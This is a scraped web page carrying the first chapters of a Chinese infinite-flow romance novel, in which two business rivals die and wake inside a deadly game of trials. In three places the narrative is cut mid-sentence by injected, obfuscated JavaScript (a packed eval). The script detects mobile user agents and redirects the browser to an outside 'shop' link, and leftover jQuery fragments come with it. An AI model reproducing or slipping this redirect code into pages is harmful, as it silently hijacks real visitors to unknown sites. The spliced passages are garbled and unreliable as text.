《和死对头在无限流中he了》
1. 副本一灵感(可不看剧透)
正文开始是下一章,这章只是记录一下第一个副本脑洞,可不看含剧透
——
大家进入副本,并没有告知是湖心亭看雪的主题。
只是映入眼帘的是茫茫大雪,处处皆是一片白雾,副本提示阵营本,需要存活72小时并找到副本真相才可通关。
其余没有任何的提示,需要大家在副本中自行摸索。
游戏中可以随意杀人,但刚开始大家不确定身边的是友还是敌,所以不敢轻易动手,大家都保持着距离感,分散找线索。
主角团暂时合作,选择往深处探索,雪还在下,人鸟声俱绝,不知道走的多久,副本手表突然弹出时间报时,现在已经是晚上八点,天色在报时的那一刻突然暗了下来。
大家打算暂时找一处歇脚,他们来到一处湖边,有水就能活。
还没来得及找一处安全地带,湖上起了雾,等雾散去,湖中出现一小舟,舟上隐隐有一人围着火炉。
与此同时,系统音响起:1号阵营已击杀一人。
没有说杀的是同阵营还是对方阵营,只有击杀者能确认自己现在所属的是一号阵营。
船上的人消失了,只留下一颗头。
是的,只有一颗头,很快被雪覆盖,再度消失。
但主角团却看见了,那颗头的主人是刚才进入副本的一个人,也就是一号阵营击杀的那个人。
天骤然亮了,天与云与山与水,上下一白。
副本手表黑屏,似乎只有在晚上八点才会报时,现在还摸不清状况,但长时间盯着雪容易雪盲,所以大家蒙上眼睛轮流观察。
又不知道过来多久,不远处传来声音,同时夹杂在风雪中还有股很浓的血腥味。
“杀人了。”
紧接着,又是一道道类似野兽啃食的肉纤维撕裂的声音,血腥味铺面而来,熏的人睁不开眼睛。
“吃人了。”
声音停止,血腥味却近的要把人吞噬,主角团开始跑,身后传来嘶吼声,却听的并不真切。
主角团转头想观察追他们的是什么东西,是雪怪吗?好像不是。
白茫茫一片,隐约能看见身后甩着什么,在尾巴吗?
正当他们准备站定,正面对抗的时候,晚上八点的表又亮了,天地再度陷入黑暗,眼前密密麻麻的出现更多“人”。
湖中的小舟也重新出现,但这一次却是在岸边,为了找到出副本的真相,主角团坐上的那艘小舟。
小舟上的火炉驱散了置身的寒冷,坐在船上才看见原来湖中还有一个亭子的轮廓,近了才看见亭子似乎还有两三粒人影。
系统通报音又响起:1号阵营已击杀三人。
又是一号阵营,但这次却是三人,这觉得不会是一个人就能做到的。
难道已经有人知道了线索,并且还都是1号阵营的。
和他们猜测是一样,亭中的人影变成了三颗人头。
这一次,副本手表再次振动:阵营任务成功出发,□者,守;□者,侵。
有两个关键字被系统屏蔽掉了。
小舟已经抵达湖中亭,主角团下了船。
脚刚踏上亭台,三颗头颅消失了,天光大亮。
这时间明显有问题,但大家来不及思索,开始翻亭子中是否有线索。
可大雪盖过湖面,天地间干干净净一片白,什么也没找到。
最后在桌下发现一个“痴”字。
主角团猛地站起,环顾四周,此情此景又是如此熟悉。
“莫说相公痴,更有痴似相公者。”
在这句话落下,副本手表再度振动:不降,不辱,不悔。
主角团似乎发现了真相,但要等验证还需到晚上八点。
他们就在亭子中等时间到,此时此刻的心境却完全不一样。
原来,这场雪下的太久了。
久到,雪掩盖了一切。
但总有一阵风会吹动雪面,露出底下的痕迹。
夜晚八点到了,亭中出现三人,两人铺毡对坐,一童子烧酒炉正沸。
他们见到主角团并不惊讶,就像是已等候很久了。
他们拉着主角团饮酒赏景,酒液入喉,呛得人眼眶发酸。
临末,主角团始终没有未出那句。
亭中三人却道:“今日喝的尽兴,难忘,难了。”“该问的该说的,还需请君自问。”
主角团笑了,遂问亭中人姓氏。
亭中人将杯中酒倒入湖中,酣畅淋漓道:“吾乃,金陵人是也。”
-
亭中人话落,天色未亮,反而又暗了三分。
身后再次传来嘶吼声,这次大家看的真切。
青面獠牙,原来身后不是什么尾巴,而是锁人的金钱鼠辫。
那些辫子追着玩家,瞬间就打断了人的腿,绞断了人的脖子。
系统音响起:2号阵营已击杀一人
!!!
2号阵营是它们!
所以从一开始,系统放出来的阵营本就是烟雾弹。
玩家主观上自然会将对手锁定在彼此之间,却没人想到,真正的2号阵营,从来不是持剑相向的同类,而是这些拖着金钱鼠辫、青面獠牙的清鬼。
金钱鼠辫扫过雪地,带起一片冰碴子,放在被绞断脖子的玩家连惨叫声都没来得及发出,就沉入雪地,人形一个大洞很快被落雪覆盖。
那之前死去的四名玩家呢?
副本手表一烫,剩余的玩家都看到了线索提示:头可断,发不可剃。
“所以,之前死去的四个人?”有玩家声音发颤,每玩家都看到了这片湖,看了的那艘小舟。
有人上船了,有人没有。
有人看到了亭中人,有人没有。
亭中人闻言,放下酒盏:“上船的,是想寻一条生路。”
“没上船的,是胆怯,是猜忌,是早知道这湖心亭外
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526638|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,根本没有路。”
“看到亭中人的,是心里还揣着一丝痴,没看到的…”
没看到的,早就成了雪地里的一滩黑血。
“那第一个死的人…”主角团里有人追问。
“他没上船。”
第一个被杀死的玩家,并不相信眼前的一切,甚至想拉着同伴一起走,想让大家都放下所谓的线索,找个地方躲到72小时结束。
可有人不肯。
有人说,这雪底下埋着真相,这亭子里藏着生路。
于是,他拔刀了。
他要杀了这群痴人,把自己藏到游戏结束。
但他忘记了,通过可不止活到结束,还要找寻真相。
最后,他刚愎自负,自己害死了自己。
他想躲。
躲了,就是怕了。
怕了,就会降了。
降了,就会剃发易服,最后忘了自己到底是谁。
火炉炸起火星子,火光猛地窜高,映得亭外的清鬼面目愈发狰狞。
“那紧接着死的三个人呢?他们可是上船了?”
亭中人点了点头,但并不想多说什么,寥寥几语:“他们上了船,但守不住,便殉。”
其实他们刚上船时,心里还揣着一丝侥幸,但他们少了一些幸运,并没有等到晚上八点就碰上了清鬼。
他们看见那些拖着金钱鼠辫的东西,啃食着人的尸骨,他们精神受到了污染,幻觉中看见那些剃了发的人,变成了和清鬼一样的怪物。
最终,他们躲不过,守不住。
选择在亭子里,对着这茫茫大雪,对着这故国山河,自绝了性命。
用自己的生命,为自己的同伴提供了一条线索:不降,不辱,不悔。
主角团重新点开副本手表,第一条线索:阵营任务成功出发,□者,守;□者,侵。
原本被屏蔽的字,突然可以点动。
手表上出现了键盘,想要玩家手动填上。
这可以就是最终通关的关键之处。
主角团已经思考好了,他们指尖点动,两个字被他们填上。
明者,守;清者,侵。
玩家其实代表的就是1号阵营的明朝遗民,他们要坚守本心,而2号阵营则是会入侵会吃人的清鬼。
叮咚——
阵营真相完全解锁。
崇祯五年十二月,余往西湖。
大雪三日,湖中人鸟声俱绝。
“湖中焉得更有此人。”
问其姓氏,是金陵人,客此。
最终任务:守住这颗痴心,直至雪停。
风停了。
雪,也停了。
天色豁然开朗。
天与云与山与水,上下一白,干净得像从未被血污浸染。
及下船,舟子喃喃曰:“莫说相公痴,更有痴似相公者。”
叮咚——
恭喜剩余玩家,通关成功!
2. 进入游戏
《和死对头在无限流中he了》
文/槐枳
晋江文学城独家首发
请支持正版
祝承仪×梅绛雪
——
“下面有请祝氏新任董事长,祝承仪女士上台致辞。”
祝承仪身穿一身剪裁利落的定制西装,缓缓上台。
冷白的肌肤在暖光下泛着一层柔光,她眉眼精致,眼尾微微上翘,抬眼时目光扫过台下,让偌大的宴会厅瞬间安静了几分。
她是祝家独生女,是祝氏集团历年来最年轻的董事长,也是这场商业博弈里,笑到最后的人。
似乎是没看到那道身影,祝承仪唇角几不可察地撇了撇,收回目光,举起话筒:“首先,感谢诸位到场,往后祝氏的路,我祝承仪会带着大家一起走,愿与诸位同行,还请未来多多指教。”
没有冗长的客套,没有多余的煽情,寥寥数语,却掷地有声。
台下掌声稀稀拉拉响起,夹杂着几声压抑的咳嗽,那些曾反对她上位的老股东,此刻脸色各有难看。
祝承仪视若无睹,微微颔首后便转身下台。
这场晚宴在每个人各怀鬼胎中落幕,祝承仪脸上挂着笑送走了那些假意恭维的董事们,拿着手包走出了宴会厅。
刚出来,秘书江郝快步追了上来,声音压得极低,面露难色:“祝董,梅二少上了您的车,他说等你过去,我实在是没拦住,还请祝董责罚。”
“梅绛雪。”祝承仪轻轻道出这三个字,眼底浮现出一抹得意,“今天心情好,走,去会会他。”
下了停车场,祝承仪一眼就看到,她的那辆黑色宾利停在专属车位上,副驾车窗半降,能清晰看见倚在椅背上的男人。
梅绛雪穿了件同色系的深灰西装,领口松了两颗纽扣,露出一点冷白的锁骨,袖口随意挽着,腕骨线条利落。
他单手搭在车窗沿,暖棕色的瞳仁半垂着,不知道在想什么,明明是慵懒的姿态,却透着股生人勿近的痞劲。
听见脚步声,他抬眼看来,目光撞进祝承仪的眼里,唇角勾起一抹似笑非笑的弧度,淡淡开口:“祝大小姐,倒是舍得让我等。”
“祝董。”司机站在一旁很是煎熬,生怕祝承仪会辞退他,连忙低头。
祝承仪应了一声,没有多余的表情,只是交代:“我自己开车回去,小李你先送江郝回去吧,然后就可以下班了。”
“是。”司机明显松了一口气,把车钥匙递给祝承仪后,和江郝快步离开。
祝承仪拉开车门坐进驾驶座,将手包扔在后排,侧头看他,眼底的得意藏都藏不住:“你输了。”
梅绛雪也不生气,打赌有输便有赢,转头看向祝承仪:“今日,你可是风光无限啊。”
说着,他抬手敲了敲膝头的文件:“祝氏那几个老东西,可不是省油的灯,你刚压下他们,背后指不定怎么使绊子。”
“这就不劳你费心了。”祝承仪发动车子,方向盘打了个利落的弯,驶出车位,“我能坐上去,就有本事坐稳。”
“倒是你,梅家的狼窝可谓是面和心不和,每个人都虎视眈眈,你这位置未必有我坐得稳定。”
梅绛雪靠在椅背上,唇角勾着一抹漫不经心的笑:“彼此彼此,不过你倒是自信,就不怕哪天阴沟里翻船?”
“总好过某些人,连阴沟的边都没摸着,就先想着拉人垫背。”两个人从小说话,就夹枪带棒的。
祝承仪踩下油门,车子提速,上了大道:“说吧,你今天大费周章拦我的车,总不是只为了来提醒我小心那群老家伙的吧?”
认识二十多年了,她太了解他了,梅绛雪从不是闲来无事的人,无事献殷勤,非奸即盗。
梅绛雪闻言,抬眸睨她:“不是你找我过来的吗?”
祝承仪听到这话,眉头一皱,梅绛雪也迅速反应过来,脸色沉了下去。
“就说你是乌鸦嘴,刚说完,就在阴沟里翻船了吧。”祝承仪这时候,还有心情笑话他。
车子开上环海公路,海风从车窗缝隙钻进来,带着些咸湿的凉意。
导航提醒前方路段需减速,祝承仪轻踩刹车,却发现刹车竟毫无阻力,直直沉到底。
梅绛雪还在反驳,祝承仪却没再接话,脸色平静得吓人,只有握着方向盘的指尖,因用力而泛白。
梅绛雪起初还以为她在闹脾气,可等了几秒没听见回应,意识到不对劲,转头看向她:“怎么了?”
“车被动手脚了。”祝承仪的声音没有一丝波澜,眼神死死盯着前方的路,语速极快,“刹车失灵了,你抓住扶手。”
话音未落,她猛地打方向盘,车子狠狠撞向路边的防撞护栏。
“嘭”的一声巨响,车身剧烈震颤,巨大的冲击力让两人身体狠狠前倾,又被安全带死死拽回座椅。
梅绛雪下意识攥紧车顶的扶手:“还能控制方向吗?”
“勉强。”祝承仪咬着牙,借着撞击的缓冲力稳住车身,又连续几次轻点护栏,试图通过摩擦减速,“他们是想让我们死。”
车子依旧在高速行驶,环海公路一侧是陡峭的崖壁,一侧是漆黑的深海,稍有不慎就是车毁人亡的下场。
祝承仪拼尽全力转动方向盘,试图避开前方的弯道,可失控的车子像脱缰的野马,速度丝毫未减,最终狠狠撞在护栏连接处。
钢筋护栏应声断裂,车子裹挟着碎石,朝着下方漆黑的深海直冲而去。
失重感瞬间袭来,祝承仪只觉得天旋地转,耳边是海风的呼啸和金属的摩擦声。
“嘭”的一声闷响,车子重重砸进海里,巨大的冲击力让安全气囊瞬间弹出,狠狠撞在她的胸口,闷痛让她险些窒息。
海水涌入车厢,祝承仪挣扎着想去解安全带,却发现卡扣像是被焊死了一般,纹丝不动。
“梅绛雪,你还好吗?”祝承仪一边翻找安全带切割刀,一边问道。
梅绛雪的情况更糟,变形的车门死死卡住了他的右腿,刺骨的疼痛让他额角渗出冷汗。
他抬手去推车门,可海水的压力让车门纹丝不动,老实回答:“不太好。”
祝承仪翻找的手一顿,她的目光落至驾驶座下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526639|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方,语气出奇地冷静:“咱俩得罪太多人了,这次,是彻底翻车了。”
梅绛雪顺着她的目光看过去,驾驶座下方绑着一枚炸弹,倒计时还剩最后十秒。
他停止了推车门的动作,转头看向祝承仪,眼底翻涌着祝承仪看不清的神色:“那我们打最后一个赌,看我们是上天堂,还是下地狱。”
海水已经漫过胸口,冰冷刺骨,祝承仪看着眼前这个斗了二十多年的死对头,忽然笑了:“我们这算着同归于尽吗?”
“像我们这种人,还是下地狱来得安心些。”
“你还讲究安心?”梅绛雪低笑一声,声音被海水模糊,却带着几分从未有过的柔和。
三。
二。
一。
倒计时的数字跳到零的瞬间,祝承仪似乎看到梅绛雪朝自己伸出手。
紧接着,一声震耳欲聋的巨响,火光冲破海面,灼热的气浪将车厢炸得粉碎,两人的身影在火浪中被吞噬。
祝承仪最后一秒的意识竟还在吐槽:“该死的,这炸弹怎么还防水!”
身上的疼痛感很快便消失了,再一睁眼,没有冰冷的海水,没有灼人的火焰,只有一片白茫茫的虚空。
耳边是此起彼伏的陌生电子音,还有无数半透明的文字,轻飘飘地飘在半空中,晃得人眼晕。
【哦豁,这就是新入选的新玩家吗?看着人物介绍,豪门党有意思!】
【开盘了开盘了!终于有新玩家涌入了!】
【赌一包辣条,这俩活不过第一晚!】
【新玩家颜值杀我!】
【救命,他们躺一起的姿势也太暧昧了吧,介绍说是死对头吗?我不信!】
祝承仪撑着身体坐起来,脑袋还有些昏沉,一转头,就看见身旁躺着的人。
梅绛雪也醒了,衣衫凌乱,领口的纽扣掉了两颗,露出更多的冷白肌肤,额角撞出了一块淤青,暖棕色的瞳仁里带着几分迷茫。
梅绛雪快速扫视了一圈祝承仪,见她没受伤,才撑着身体坐起来,恢复了往日的表情。
他扯了扯唇角,笑意却未达眼底:“看来,我们都赌输了,祝大小姐。”
祝承仪环顾四周,白茫茫的空间里还有不少陌生的面孔,个个面露茫然,显然和他们一样,都是莫名其妙出现在这里的。
她皱紧眉头:“这是什么地方?”
“不知道。”梅绛雪站起身,拍了拍身上的灰尘,目光扫过那些飘在半空中的文字,眼底闪过一丝诧异,“但可以肯定,我们没上天堂,也没下地狱,倒像是……掉进了某个三流恐怖片的片场。”
他的话音刚落,一道冰冷无起伏的电子音突然在整个虚空里响起,响彻四方,毫无感情。
【叮咚——】
【检测到新玩家已全部就位,“生存计划”新玩家选拔赛即将开启】
【所有新玩家强制参与选拔赛,未通过者,将被永久淘汰,彻底死亡】
【请新玩家不要随意移动,游戏副本正在载入中……】
【祝所有玩家,游戏愉快……】
3. 新玩家选拔赛(1)
电子音消散的瞬间,白茫茫的虚空突然震颤,脚下的地面裂开一道道缝隙,青灰色的石质梅花桩从缝隙中层层升起。
眼前很快铺开高低错落的巨型矩阵,最外侧的梅花桩大概仅有三十厘米高,顺着矩阵往中央延伸,节节升高,最高的往上看,根本看不见头。
梅花桩顶端只够一人站立,石面泛着冷光,间距目测从半尺到三尺随机排布,疏密无章。
其他被莫名拉入游戏的玩家,惊慌失措:“这里是哪里?”
“这是什么玩意!快放我出去!”一个男人大喊着往虚空外跑去。
脚步声回荡着这个硕大的空间,大概仅过了二十秒,一声刺耳的尖叫声响起后,虚空归于平静。
不知道从哪里刮起一阵风,风里裹挟刺鼻的血腥味,令其余人心头一颤。
【都说了,不要随意移动,不听话的下场!好啦好啦,游戏开始,现在讲解游戏规则——】
原本冰冷没有感情的电子音被替换成甜腻的童声,却更显可怕。
【叮咚——新玩家选拔赛体力关:登云梅花桩】
【规则重申:20分钟内从桩阵边缘攀爬至中央20米最高桩,触摸顶端红旗即为通关,期间可进行非致命性互扰,掉落桩阵或超时均判定淘汰,淘汰者将宣判死亡】
【游戏开始,倒计时:20:00】
倒计时落下的瞬间,祝承仪和梅绛雪快速对视了一眼,然后分开往不同方向跑去。
他俩最初所在的位置并不利于直接攀爬,反倒夹在几拨惊慌的玩家中间,推搡的人群乱作一团,稍不留意就会被波及坠向虚空。
分开走也是为了避开人群纠缠,各自寻一条更顺畅的攀爬路线。
毕竟两人皆是心高气傲之辈,哪怕还未完全了解这里的规则,但接受程度极高。
“梅绛雪,比一比谁先爬到最高点。”
“比就比。”
祝承仪从小就练武,身姿敏捷,借着人群的间隙侧身穿梭,抬手拨开身前一个慌不择路撞来的玩家,指尖在对方肩头稍一借力,身形便跃起,然后稳稳落在两米高的梅花桩顶端。
【哇唔,妈妈我看见飞人了】
进入游戏,玩家就看不清弹幕了。
一开始就看好祝承仪的观众,瞬间在评论区炸开了锅,感觉自己挖到宝藏了。
而场中的祝承仪对此毫不知情,她维持着身体平衡,垂眸扫视下方,眸光不见半分慌乱,脚下发力,身形再次跃起。
脚步很轻,稳稳落在下一根梅花桩,动作干脆利索,不带一丝拖沓。
另一侧的梅绛雪也不落下风,动作很迅速,脚下不停,径直向上攀爬。
周围有小部分玩家被恐惧裹挟,哭喊与怒骂交织在一起。
但大部分人还是选择接受游戏规则,为自己多谋取一份活路。
有人慌不择路地扑向中高段桩柱,刚抬脚跨越间距,便因重心不稳直直坠向虚空,一声凄厉的尖叫后,只余一缕血腥味被冷风卷着散开。
这里不乏不少穷凶极恶之人,眼看凭自己的身手难以上攀,便将主意打到了旁人身上,甚至专挑身形单薄或动作稍缓的玩家下手。
推搡拉扯无所不用其极,周围不时响起躲避的惊呼与坠落后的惨叫。
祝承仪已经爬到半空中了,脚下梅花桩越升越高,上方的风势也隐隐变大,风吹乱了祝承仪的发丝,却丝毫没有影响到她的动作。
到了十米往上的高度,桩柱间距越拉越宽。
单靠脚尖发力跳跃已难以为继,她干脆俯身,手掌稳稳扣住身前石桩的边缘,指腹抵着冷硬的石面发力,手脚并用向上攀爬。
目光向下瞥了一眼,下面的人都变成了一个黑点,再往下,便是深不见底,吞噬玩家的虚空。
祝承仪收回目光,眼神更加坚韧,她想活。
冷硬的石边硌得掌心微微发疼,她却像是毫无知觉。
左手扣紧,右脚蹬桩,腰腹猛地发力,整个人向上一窜,右手精准抓住上一根桩柱顶端,身形一折,稳稳落定。
【我去这高度……我看着都腿软,她居然还能往下看?】
【我将称呼祝姐,爱了爱了,我祝姐心理素质真的顶级,这要是我早就吓懵了】
【这核心力量我太想拥有了】
【不就是爬个梅花桩吗?女的有什么可吹的】
【我用0.1秒就猜出了性别,上面的,就是羡慕嫉妒恨吧】
祝承仪抬头,望向那根插着红旗的最高桩,眼神里没有半分惧意,只有势在必得。
她余光瞥见一道黑影正借着桩柱的遮挡,悄悄向她身后摸来。
是个满脸横肉的男人,方才在低处就接连推落了两个新手玩家,此刻见祝承仪孤身一人爬在高处,便想故技重施。
男人瞅准她发力跃桩的间隙,猛地扑上来,粗厚的手掌直抓她的脚踝,想借着下坠的力道将她一并拽落。
祝承仪早有察觉,身形在空中微微旋身,堪堪避开那只手,同时屈膝向后狠狠顶去,正中男人的胸口。
那男人闷哼一声,但反应很快,手脚并用扒在桩面上,狰狞着脸再次伸手,想要把祝承仪拽下去:“要死一起死!”
祝承仪侧头看见了不远处的梅绛雪,他速度马上就要超过自己了。
“麻烦。”
祝承仪眼神一冷,不再留手,转身握拳,精准砸在男人扒着桩边的手背上。
男人猝不及防,手指下意识吃痛松开,整个人瞬间失去支撑,像一块沉重的破布,直直坠向漆黑的虚空。
一声长长的惨叫被风撕碎,很快归于死寂。
【这就结束了?太帅了吧!!】
【刚才那个男的真恶心,专挑女生下手,活该掉下去】
【前面说“女的有什么好吹”的脸疼不疼?这心理素质这身手,吊打一片】
祝承仪微微调整呼吸,继续向上攀爬,爬到十五米时,掌心已经被粗糙的石边磨得冒出血丝。
还有最后五米。
祝承仪咬牙坚持,风变得超级大,呼啸着卷过桩阵,吹得整根石桩都在剧烈震颤,冷硬的风刃刮在脸上生疼,她努力压低身体,稳住不在攀上的过程中被风刮走。
倒计时05:45。
时间不多了。
剩下的桩柱间距宽已经不能靠手脚攀爬过去了,必须要顶着风站起来,跳过去。
祝承仪被风吹得有些头晕,她攥紧掌心,血珠滴落下来,疼痛感暂时令她保持清醒。
要赢,要活着。
祝承仪缓缓弓起身子,手掌最后一次扣紧冰冷粗糙的桩沿,血顺着梅花桩往下淌,她却借着这股剧痛,将所有力气都压在了腿上。
保持着一个起跳的动作。
祝承仪观察
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526640|203538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着风向,狂风虽烈,却并非毫无规律。
她发现,风每狂啸十几秒,便会有短短两秒的空窗,风力会骤然弱上一截。
只有这两秒,是她唯一的生机。
倒计时05:08。
05:07
05:06
05:05
狂风最猛,吹得她衣袍猎猎作响。
就是现在。
一股极微弱的风歇间隙,如期而至。
祝承仪猛地脚下一蹬,身体顶着余风跃起,指尖先攀到上方梅花桩,她咬紧牙关,核心收紧,手腕发力。
硬生生将自己拽了上去,风起,祝承仪膝盖向下一跪,死死压住身形。
体力消耗,祝承仪喘着气,胸口剧烈起伏,但她连喘口气的功夫都不给自己,重复刚才的动作,一步又一步。
鲜血染红的掌心成功触到最高点的红旗时,耳边响起电子音。
【叮咚——】
【恭喜玩家祝承仪,成功登顶,顺利通过体力关卡】
白光吞噬眼前,场景骤变。
祝承仪刚站稳,正打算看自己衣服哪里适合撕下来,包扎伤口的。
就看见梅绛雪也通过了,正朝自己过来。
祝承仪开口便是炫耀:“你慢了几秒,这次还是我赢了。”
梅绛雪缓步走近,白色衬衫袖口被石桩划得破烂,小臂上多了一道深可见骨的刮痕,腰侧也蹭着大片青灰的瘀伤,比起祝承仪只掌心渗血,他身上的伤足足多了好几处。
家族不重视他,并没有经过专业的武力训练,全靠小时候挨打摸索出来的,祝承仪偶尔教他几招防身用的,日常也够用。
所以他身手灵活归灵活,但论武力值,终究比不过祝承仪。
方才登顶前,他为了抢时间,被两个玩家联手围堵,硬生生挨了一下重击,才强行突围冲上去,自然慢了她几秒。
听见她炫耀的语气,梅绛雪低笑一声,眼眸落在她还在滴血的掌心,眉头几不可查地皱起。
半点没提自己身上更重的伤,从口袋里掏出纱布和云南白药,伸手就去抓她的手腕。
祝承仪理所应当地接受梅绛雪的好意,只是狐疑看向他:“你怎么还随身携带这个?”
“今天找你之前恰好去了趟医院。”梅绛雪解释道,他指尖带着微凉的温度,动作却意外地稳,“有点疼,忍着点。”
梅绛雪往伤口上撒上云南白药,动作轻柔地将布条一圈圈缠在她掌心,打结时还特意留了松度,怕勒疼她。
“是去处理你家那个事情吗?”祝承仪垂眸,正好看见他小臂上那道狰狞的伤口,血已经浸透了碎布。
梅绛雪点了下头,两个人就都没有再聊这个事情,有些话不必点破,彼此心里都懂。
梅绛雪替她打好最后一个松松的结,指尖轻轻碰了碰她包扎好的掌心,确认不会勒到伤口,才收回手。
语气恢复了平日里那副漫不经心的样子:“赢了就赢了,别得意太早,下一关指不定谁赢呢。”
祝承仪抬眼扫过他身上的伤,嘴唇动了动,最终只淡淡丢出一句:“谢了,你自己的伤,也处理一下。”
梅绛雪挑眉,刚想开口调侃,甜腻又阴森的童声再次响起。
【叮咚——】
【恭喜剩余玩家来到第二关,请不要随意移动,游戏正在加载中……】
4. 新玩家选拔赛(2)
再次睁开眼,祝承仪在一间冷灰色的密闭房,身上的伤不见了,疼痛感也像从未存在过一样,消失得干干净净。
她微微一怔,把手上的纱布解开,掌心触感平滑,连一点痕迹都没有留下。
【叮咚——玩家伤势已自动修复】
冰冷的电子音在房间里回荡,提醒着她这不是幻觉。
在这个诡异的游戏里,连生死都能被随意摆弄,修复一点伤势,似乎也不足为奇。
祝承仪压下心头的异样,抬眼打量四周,她的正前方立着半人高的金属操作台。
台面上摆着数字华容道魔方,带数字波轮的密码盒,三盏不同颜色的灯,墙面嵌着红色倒计时屏,数字跳着显示9:00。
一墙之隔,突然传来一道女生慌乱的惊讶声,同时电子音响起。
【叮咚——新玩家选拔赛智力关:隔墙有耳】
【规则:两名玩家随机匹配,隔音墙分处两地,玩家A持有全部题目线索,玩家B则持有解谜道具。
需由玩家A口述线索,玩家B根据线索操作道具完成解谜,9分钟内解锁密码盒取出钥匙,打开玩家B位置大门,玩家A大门也会开门,双方即为通关。
本轮为合作赛,一人犯规,两人同步淘汰,通关条件唯一,无试错机会】
【现在宣布,游戏开始】
隔壁立刻响起女生略微紧张的声音:“我…我叫何欣愿,我这边有三个题目,现在念给你听。”
祝承仪走到操作台前,观察着上面的道具,数字华容道魔方在她脑海中已经有了思路。
她温声道:“别慌,一个题一个题念,慢一点,把每个条件说清楚。”
何欣愿被她温和的声音稳住了心神,咽了咽口水,翻着手里的线索纸慢慢念道:“第一个题是解数字华容道魔方的。”
“线索说,这个华容道是3×3规格,盘面有1-8八个数字块,数字9被空块代替,空块在初始右下角位置,要求还原成数字从左到右,从上到下1-8的标准顺序,还原后空块会弹出一枚金属牌,牌上的数字是密码盒其中一个数字!”
祝承仪颔首,拿起魔方,她沉声道:“知道了,你等我一下。”
话音落,她目光观察着盘面混乱的数字,指尖捏着数字块快速滑动。
脑海中思索着:这第一题的线索,不过是把数字华容道的基础规则念了一遍,没有任何额外提示,既没给还原步数,也没标关键数字块的位置,看似简单,实则藏着筛选陷阱。
若是匹配到没接触过华容道的玩家,根本无从下手,两人只会一起淘汰。
还是说,游戏题目会根据匹配玩家随机发布?
指尖翻飞间,数字块按1、2、3,4、5、6,7、8的顺序归位,不到一分钟,右下角空块处“咔哒”一声弹出一枚银色金属牌,上面刻着数字7。
“第一个数字是7。”祝承仪语气平稳地报出,“念第二个题目吧。”
何欣愿那边响起轻微脚步声,她缓声念道:“第二道题是三盏灯的。”
“你的房间里分别是红、黄、蓝三盏灯,我这边有对应的三个无标识开关,需要通过操作开关,你那边精准判断出三个开关分别对应哪盏灯,我这边输入,判断正确后,会出现密码盒其中第二个数字。”
“线索提示:灯箱侧边有查看按钮,但你只能到灯的位置查看一次,开关和灯不在同一房间,无法同时观察,且灯箱为密闭材质,无法触摸感知温度。”
何欣愿话音刚落,灯箱便升起,将三盏灯罩住。
何欣愿对那边一切并不知情,只是声音里多了丝担忧:“这规则好绕,会不会根本解不出来?我现在应该怎么做?”
祝承仪没有立刻回答,这其实算是一道思维逻辑题。
仅能查看一次,温度、开关与灯视野隔绝,常规的温感判断行不通,但灯光有颜色,可以从灯光的亮灭状态留痕切入,用一次查看区分出三种不同的开关操作结果。
这格外考验她的观察力和判断力。
祝承仪快速理清思路,说道:“别慌,按我说的做,三个开关按钮是从左到右依次排开的吗?”
“是的。”
“那好,首先按下你面前最左边那个按钮,按亮后等我喊停,期间别碰其他两个按钮。”祝承仪盯着眼前的密闭灯箱,语速放缓,确保指令清晰。
隔壁传来轻微的按键声,何欣愿的声音立刻响起:“按好了,左边的开关开了。”
祝承仪默数二十秒,精准计时后开口:“现在关掉左边的开关,立刻按下中间的那个开关,保持开启,右边的开关全程不要动,动作要快。”
“好。”按键声再次响起,“中间的开关开了,左边关了,右边没动。”
“好了,现在不用碰任何开关了。”祝承仪说完,快步走到灯箱前,按下侧面的查看按钮,厚重挡板缓缓打开。
箱内三盏灯状态截然不同,左边一盏正亮着黄色光,中间一盏灭着但灯丝还凝着淡淡的微光余痕,最后一盏则彻底漆黑,连一丝光亮的痕迹都没有。
利用余痕,如果是红色的灯,刚熄灭的灯丝会带着明显的暖红色调,而蓝色的灯则会是偏白的亮光。
中间的灯丝呈现淡淡的偏白光,是蓝色灯。
到时间了,灯罩重新下降。
祝承仪确定好答案,笃定道:“可以填写了,左边开关对应黄灯,中间开关对应□□,右边开关对应红灯。”
“对了!数字是3。”何欣愿翻到线索纸最后一页,念得格外仔细,“还剩最后一个问题,密码盒是四位数字波轮,请根据已知的4个条件,推断出正确的密码是多少?”
“第一排数字,7318,两个号码正确,但是位置不正确。”
“第二排数字,3675,两个号码正确,但是位置正确。”
“第三排数字,1369,两个号码正确,而且位置都不正确。”
“第四排数字,6185,没有一个号码正确。”
祝承仪随意波动了一下数字波轮,确定一共九个数字:“目前已知条件,密码有7和3,第四排6185,全错,直接排除数字6、1、8、5。”
